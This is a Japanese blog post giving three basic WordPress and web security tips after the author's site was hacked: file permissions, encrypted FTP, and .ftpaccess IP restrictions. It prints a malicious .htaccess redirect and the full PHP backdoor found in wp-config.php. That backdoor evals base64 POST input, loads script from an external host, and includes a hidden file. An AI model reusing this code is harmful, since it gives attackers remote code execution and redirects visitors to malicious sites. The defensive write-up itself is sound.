覚えておきたいウェブセキュリティーの基礎3つのポイント


Warning: WP_Syntax::substituteToken(): Argument #1 ($match) must be passed by reference, value given in /home/webstyle/php-fan.org/public_html/wp-content/plugins/wp-syntax/wp-syntax.php on line 383

Warning: WP_Syntax::substituteToken(): Argument #1 ($match) must be passed by reference, value given in /home/webstyle/php-fan.org/public_html/wp-content/plugins/wp-syntax/wp-syntax.php on line 383

Warning: WP_Syntax::substituteToken(): Argument #1 ($match) must be passed by reference, value given in /home/webstyle/php-fan.org/public_html/wp-content/plugins/wp-syntax/wp-syntax.php on line 383

先日不幸なことにサイトが改ざんされました。
というより表面的にはわからなかったのですが、サーバー側から連絡がありました。

そして見てみるワードプレスの設定ファイルにと変なコードが記述されていましたし、不要なファイルが生成されていたので、これはイカンと思い対策を講じました。
まずはこれらの不要ファイルを削除して不要コードを消しました。


スポンサーリンク

その1:パーミッションの変更です。

あんまり気にしなかったのですが、こーゆことが起こらないと人って動かないですね。

HTML・画像ファイル「604」rw----r--
CGIの実行ファイル「700」rwx------
CGIのデータファイル「600」rw-------
.htaccessファイル「604」rw----r--
ディレクトリ「705」rwx---r-x

気をつけておきべきことは「.htaccess」ファイルが書き換えられる事が多いようです。
604に設定しておきましょう!

「.htaccess」でリダイレクトされる例があるようです。

【改ざん例】

ErrorDocument 400 http://【リダイレクト先URL】
ErrorDocument 401 http://【リダイレクト先URL】
ErrorDocument 403 http://【リダイレクト先URL】
ErrorDocument 404 http://【リダイレクト先URL】
ErrorDocument 500 http://【リダイレクト先URL】
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
【一部省略】
RewriteRule ^(.*)$ http://【リダイレクト先URL】 [R=301,L]
</IfModule>

※パーミッションを「404」とすると書き込み自体を一切禁止するため有効です。
(「.htaccess」の内容を修正・追加などを行う際には、都度パーミッションの変更が必要となります。)

WordPressを利用している場合は「wp-config.php」のパーミッションは
「404 (r—–r–)」にする必要があります。

その2:FTPでのアップロードの際はFTPSかSFTPを利用する

FTPアップロードはFFFTPを利用されている方が多いと思いますが、実はあれって危険なんですね。
なぜ危険かといいますとFTP自体の通信が平文で行われているからなんです。

つまり暗号化されていないのでパスワードとかわかっちゃうんですよね。
ですのでSSH通信はFTPSで利用して暗号化して通信をすると安全度が高まります。

つい最近までFFFTPを私も利用していましたが、これを機にFileZillaに替えました。
日本語版のダウンロードできます!
使い方などは次回記事にしたいと思います。

その3:.ftpaccessを利用する

あと.ftpaccessで利用者を制限することで接続元を制限すると安全度が高まります。
実際に不特定多数のIPを制限することで守られます。

しかし、設定やファイルの保存を誤ると、FTP接続ができなくなりますので気をつけて設定して下さい。
契約サーバーのマニュアル参考の上設定して下さい。
すくなくとも自分のIPとサーバー用のIPは設定しておくと良いでしょう。


Order allow,deny
Allow from 接続許可するIPアドレス(例:198.123.456)もしくはドメイン名(例:ftp.sakura.ad.jp)
Allow from 接続許可する利用運用サーバーIPアドレス
Deny from all

下記のこのようなコードがワードプレスの設定ファイルに書きこまれていました。
ん~、まさか自分のところにこんな事までされるとは~

因みにこのサイトではありませんのであしからず

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php 
 
global $sessdt_o;
if(!$sessdt_o) {
	$sessdt_o = 1; 
	$sessdt_k = "lb11";
	if(!@$_COOKIE[$sessdt_k]) {
		$sessdt_f = "102"; 
		if(!@headers_sent()) { 
			@setcookie($sessdt_k,$sessdt_f);
		} else {
			echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>";
		}
	} else { 
		if($_COOKIE[$sessdt_k]=="102") {
			$sessdt_f = (rand(1000,9000)+1);
			if(!@headers_sent()) { 
				@setcookie($sessdt_k,$sessdt_f);
			} else {
				echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; 
			}
			$sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"];
			$sessdt_v = urlencode(strrev($sessdt_j)); 
			$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
			echo "<script src='$sessdt_u'></script>";
			echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
		}
	}
		$sessdt_p = "showimg"; 
		if(isset($_POST[$sessdt_p])){
			eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
			exit;
		}
}
if(isset($_GET["t5808"])){
	 include("/サーバーパス/wp-config.php.htm");
	 exit; 
} ?>
 
<?php 
 if(isset($_GET["t2870"])){ 
 	include("/サーバーパス/wp-config.php.htm"); 
	exit;
} ?>
<?php
if(isset($_GET["t4860"])){ 
	include("/サーバーパス/wp-config.php.htm"); 
	exit;
} ?>
<?php 
if(isset($_GET["t8837"])){
	include("/サーバーパス/wp-config.php.htm"); 
	exit; 
} ?>

php.iniなどで使われない関数などを制御したりホワイトリストでhttp://~,https://~のURLのみの許可するなどもするとなお良いですね。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です